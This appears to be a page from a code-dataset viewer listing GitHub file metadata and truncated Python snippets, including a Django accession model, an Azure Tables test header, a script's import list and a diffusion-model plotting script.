1dce9c99d533ff56cbc5219113c3c4571a595183 | 1,755 | py | Python | aurora/bag_transfer/accession/models.py | DLynch-Technology/aurora | 92f4b61ae0cdaf6f7c5a35bbdfb68e5ee91f8c96 | [
"MIT"
] | null | null | null | aurora/bag_transfer/accession/models.py | DLynch-Technology/aurora | 92f4b61ae0cdaf6f7c5a35bbdfb68e5ee91f8c96 | [
"MIT"
] | null | null | null | aurora/bag_transfer/accession/models.py | DLynch-Technology/aurora | 92f4b61ae0cdaf6f7c5a35bbdfb68e5ee91f8c96 | [
"MIT"
] | null | null | null | from django.db import models
from bag_transfer.models import Organization, RecordCreators, LanguageCode
class Accession(models.Model):
title = models.CharField(max_length=256)
accession_number = models.CharField(max_length=10, null=True, blank=True)
accession_date = models.DateTimeField(auto_now_add=True)... | 39.886364 | 86 | 0.726496 |
1dce9daedbcf84f3b2b8470eeca611f00a35ee65 | 13,324 | py | Python | sdk/tables/azure-data-tables/tests/test_table_aad_async.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | 1 | 2022-01-24T08:54:57.000Z | 2022-01-24T08:54:57.000Z | sdk/tables/azure-data-tables/tests/test_table_aad_async.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | sdk/tables/azure-data-tables/tests/test_table_aad_async.py | vincenttran-msft/azure-sdk-for-python | 348b56f9f03eeb3f7b502eed51daf494ffff874d | [
"MIT"
] | null | null | null | # coding: utf-8
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------... | 40.49848 | 120 | 0.65701 |
1dcea6c41a3a2ec6b3c2302764b0ee507b99ccfb | 8,340 | py | Python | src/main.py | olehb/CyberReaper | 3dc5ed2928a6083f303aeb5f7ec36972d7642b68 | [
"MIT"
] | null | null | null | src/main.py | olehb/CyberReaper | 3dc5ed2928a6083f303aeb5f7ec36972d7642b68 | [
"MIT"
] | null | null | null | src/main.py | olehb/CyberReaper | 3dc5ed2928a6083f303aeb5f7ec36972d7642b68 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import argparse
import json
import os
import psutil
import requests
import subprocess
import sys
from collections import namedtuple
from concurrent.futures import ThreadPoolExecutor, wait
from logging import basicConfig, getLogger, INFO, DEBUG
from socket import gethostname
from time import sle... | 37.066667 | 106 | 0.543765 |
1dcee14b67b36c62b973a49097f68be2901d7b2c | 2,402 | py | Python | plot/plot_to_get_fulu.py | ZGCTroy/guided-diffusion | af987bb2b65db2875148a5466df79736ea5ae6a1 | [
"MIT"
] | null | null | null | plot/plot_to_get_fulu.py | ZGCTroy/guided-diffusion | af987bb2b65db2875148a5466df79736ea5ae6a1 | [
"MIT"
] | null | null | null | plot/plot_to_get_fulu.py | ZGCTroy/guided-diffusion | af987bb2b65db2875148a5466df79736ea5ae6a1 | [
"MIT"
] | null | null | null | import matplotlib.pyplot as plt
import yaml
import os
import zipfile
import numpy as np
import torch
from torchvision import utils
import torch
class_ids = [1, 279, 323,386,130,852,933,562,417,281,90,992] # 1金鱼,2
os.makedirs('/workspace/mnt/storage/guangcongzheng/zju_zgc/guided-diffusion/imgs/fulu', exist_ok=True... | 47.098039 | 268 | 0.798918 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.